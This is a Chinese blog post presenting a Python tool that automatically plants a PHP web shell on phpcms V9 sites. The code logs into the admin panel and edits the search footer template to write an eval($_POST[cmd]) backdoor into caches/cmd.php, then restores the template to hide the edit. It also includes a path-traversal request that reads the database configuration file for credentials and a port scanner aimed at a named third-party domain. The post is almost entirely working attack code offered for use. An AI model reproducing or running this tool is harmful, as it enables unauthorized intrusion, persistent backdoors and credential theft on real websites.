Python版phpcmsV9自动写shell工具
最近一直在学习python相关内容就顺手写个工具以作练习,上代码
1 | #coding: GBK |
2 | ''' |
3 | Created on 2012-8-2 |
4 | |
5 | @author: Return |
6 | ''' |
7 | import cookielib |
8 | import urllib2,urllib |
9 | import re |
10 | import sys |
11 | import os |
12 | import socket |
13 | class getShell: |
14 | |
15 | rhost = '' #远程目标主机 |
16 | cookieSavePath = 'tmp/cookie/cookie.dat' #cookie 保存位置 |
17 | codeSavePath = 'tmp/code/code.png' #code 保存位置 |
18 | phpShell = '<?php $shell = "<?php eval(\$_POST[cmd]);?>"; file_put_contents("caches/cmd.php",$shell); ?>' #一句话 |
19 | header = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11 QIHU 360EE'} |
20 | tmpPath = '' #临时地址存贮变量 |
21 | dataBaseInfo = {} #数据库信息 |
22 | postData = {} #post数据 |
23 | url = '' #远程url地址 |
24 | username = '' #用户名 |
25 | password = '' #用户密码 |
26 | vfCode = '' #验证码 |
27 | pc_hash = '' #phpcmsV9校验值 |
28 | result = '' #临时变量 |
29 | #=========================================================================== |
30 | # __init__ 初始化函数 |
31 | #=========================================================================== |
32 | def __init__(self): |
33 | self.cookie = cookielib.LWPCookieJar() |
34 | urllib2.install_opener(urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))) |
35 | #=========================================================================== |
36 | # login 登录 |
37 | #=========================================================================== |
38 | def login(self): |
39 | self.getVerifyCode() #先获取验证码 |
40 | self.tmpPath = '/index.php?m=admin&c=index&a=login&dosubmit=1' |
41 | self.postData = { |
42 | 'username':self.username, |
43 | 'password':self.password, |
44 | 'code':self.vfCode, |
45 | 'dosubmit':'' |
46 | } |
47 | self.url = 'http://'+self.rhost+self.tmpPath |
48 | self.result = self.urlPostData() |
49 | |
50 | if len(re.findall("登录成功",self.result)): |
51 | self.pc_hash = re.search("(?<=pc_hash=)(.+?)(?=\')",self.result).group() |
52 | print '登录成功' |
53 | self.wirteShell() # 登陆成功后写入shell |
54 | else: |
55 | print '登录失败' |
56 | print re.search('(330px">)((.|\n)*?)(?=</div>)',self.result).group(2) |
57 | self.login() |
58 | def wirteShell(self): |
59 | print '写入Shell...' |
60 | tmpPath = '/index.php?m=template&c=file&a=edit_file&style=default&dir=search&file=footer.html&pc_hash=' |
61 | self.url = 'http://'+self.rhost+tmpPath+self.pc_hash #v9中必须加上校验码,否则不能通过 |
62 | self.result = self.urlPostData() |
63 | if len(re.findall('点击插入',self.result)): |
64 | templateTmp = re.search("(<te.*?>)((.|\n)*?)(<.*?>)",self.result).group(2) |
65 | #提交写shell模版 |
66 | self.postData = { |
67 | 'code':self.phpShell, |
68 | 'dosubmit':'提交', |
69 | 'pc_hash':self.pc_hash |
70 | } |
71 | self.url = 'http://'+self.rhost+tmpPath+self.pc_hash |
72 | self.urlPostData() |
73 | urllib2.urlopen('http://'+self.rhost+'/index.php?m=search').read()#访问模版页面生成shell |
74 | #写回原模版 |
75 | self.postData = { |
76 | 'code':templateTmp, |
77 | 'dosubmit':'提交', |
78 | 'pc_hash':self.pc_hash |
79 | } |
80 | self.url = 'http://'+self.rhost+tmpPath+self.pc_hash |
81 | self.urlPostData() |
82 | else: |
83 | print '没有找到Search的foot模版...' |
84 | #=========================================================================== |
85 | # getVerifyCode 获取验证码 |
86 | #=========================================================================== |
87 | def getVerifyCode(self): |
88 | #验证码获取地址 |
89 | self.tmpPath = '/api.php?op=checkcode&code_len=4&font_size=20&width=130&height=50&font_color=&background=' |
90 | self.url = 'http://'+self.rhost+self.tmpPath |
91 | open(self.codeSavePath,'wb').write(self.urlPostData()) |
92 | print '请输入验证码:' |
93 | self.showPic() |
94 | self.vfCode = sys.stdin.readline() |
95 | |
96 | #=========================================================================== |
97 | # urlPostData url Post提交数据 |
98 | #=========================================================================== |
99 | def urlPostData(self): |
100 | postData = urllib.urlencode(self.postData) |
101 | req = urllib2.Request( |
102 | url = self.url, |
103 | data = postData, |
104 | headers = self.header |
105 | ) |
106 | result = urllib2.urlopen(req).read() |
107 | self.saveCookie() |
108 | self.delVariable() |
109 | return result |
110 | |
111 | #=========================================================================== |
112 | # getDataBaseInfo 获取数据库信息 |
113 | #=========================================================================== |
114 | def getDataBaseInfo(self): |
115 | #爆数据库信息地址 |
116 | self.tmpPath = '/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../caches/configs/database.php' |
117 | self.url = 'http://'+self.rhost+self.tmpPath |
118 | result = self.urlPostData() |
119 | self.dataBaseInfo['hostName'] = re.search("(?<='hostname' => ')(.*?)(?=',)",result).group() |
120 | self.dataBaseInfo['database'] = re.search("(?<='database' => ')(.*?)(?=',)",result).group() |
121 | self.dataBaseInfo['username'] = re.search("(?<='username' => ')(.*?)(?=',)",result).group() |
122 | self.dataBaseInfo['password'] = re.search("(?<='password' => ')(.*?)(?=',)",result).group() |
123 | self.dataBaseInfo['tablepre'] = re.search("(?<='tablepre' => ')(.*?)(?=',)",result).group() |
124 | self.dataBaseInfo['type'] = re.search("(?<='type' => ')(.*?)(?=',)",result).group() |
125 | #=========================================================================== |
126 | # printDbInfo 输出数据库信息 |
127 | #=========================================================================== |
128 | def printDbInfo(self): |
129 | print 'HostName:',self.dataBaseInfo['hostName'] |
130 | print 'DataBase:',self.dataBaseInfo['database'] |
131 | print 'UserName:',self.dataBaseInfo['username'] |
132 | print 'Password:',self.dataBaseInfo['password'] |
133 | print 'TablePre:',self.dataBaseInfo['tablepre'] |
134 | print 'DataType:',self.dataBaseInfo['type'] |
135 | #=========================================================================== |
136 | # scanPort 端口扫描 |
137 | #=========================================================================== |
138 | def scanPort(self): |
139 | for p in range(80,8000): |
140 | try: |
141 | ip = 'www.gidigame.com' |
142 | port = p |
143 | s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) |
144 | s.connect((ip,port)) |
145 | print 'Port:',port,' open' |
146 | s.close() |
147 | except socket.error,msg: |
148 | pass |
149 | #print 'Port:',port,' close' |
150 | #=========================================================================== |
151 | # setRhost 设置目标主机 |
152 | #=========================================================================== |
153 | def setRhost(self,host): |
154 | self.rhost = host |
155 | #=========================================================================== |
156 | # getRhost 获取目标主机 |
157 | #=========================================================================== |
158 | def getRhost(self): |
159 | return self.rhost |
160 | #=========================================================================== |
161 | # setShell 自定义shell |
162 | #=========================================================================== |
163 | def setShell(self,shellCode): |
164 | self.phpShell = shellCode |
165 | #=========================================================================== |
166 | # saveCookie 保存cookie值 |
167 | #=========================================================================== |
168 | def saveCookie(self): |
169 | self.cookie.save(self.cookieSavePath) |
170 | #=========================================================================== |
171 | # logMsg 日志信息,这里可以自己捕捉异常后处理信息 |
172 | #=========================================================================== |
173 | def logMsg(self,msg): |
174 | print msg |
175 | exit() |
176 | #=========================================================================== |
177 | # showPic 用来显示验证码 |
178 | #=========================================================================== |
179 | def showPic(self): |
180 | imgPath = os.path.abspath(self.codeSavePath) |
181 | os.system('rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen '+imgPath) |
182 | #=========================================================================== |
183 | # delVariable 清除变量,防止产生误差 |
184 | #=========================================================================== |
185 | def delVariable(self): |
186 | self.url = '' |
187 | self.tmpPath = '' |
188 | self.dataBaseInfo = {} |
189 | self.postData = {} |
190 | self.header ={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11 QIHU 360EE'} |
191 | #=========================================================================== |
192 | # __del__ 析构函数,类被注销时候调用 |
193 | #=========================================================================== |
194 | def __del__(self): |
195 | print 'Bye...' |
196 | def sysinfo(): |
197 | print ''' |
198 | ******************************************************************************** |
199 | PHPcmsV9 自动写shell |
200 | |
201 | 功能:自动写入caches目录下cmd.php一句话 密码:cmd |
202 | |
203 | Author: Return Blog:www.creturn.com |
204 | |
205 | Example: exp.py www.creutn.com username password |
206 | ******************************************************************************** |
207 | ''' |
208 | #=============================================================================== |
209 | # main 入口函数 |
210 | #=============================================================================== |
211 | def main(): |
212 | sysinfo(); |
213 | shell = getShell() |
214 | if(len(sys.argv) > 3): |
215 | shell.setRhost(sys.argv[1]) |
216 | shell.username = sys.argv[2] |
217 | shell.password = sys.argv[3] |
218 | shell.login() |
219 | else: |
220 | print '参数不对!' |
221 | |
222 | if __name__ == '__main__': |
223 | main() |
使用说明,直接看实例截图:
运行程序后,输入目标地址如:www.creturn.com 用户名 密码
会自动用图片查看器打开验证码,然后输入验证码:
正确输入验证码后,程序会自动写入cache/cmd.php的一句话,由于找的一个测试外部站点,仅用了一些安全方面的函数因此一句话
就不能测试了,我就直接写入一个php文件输出一段文字:
下一篇:linux清除脚印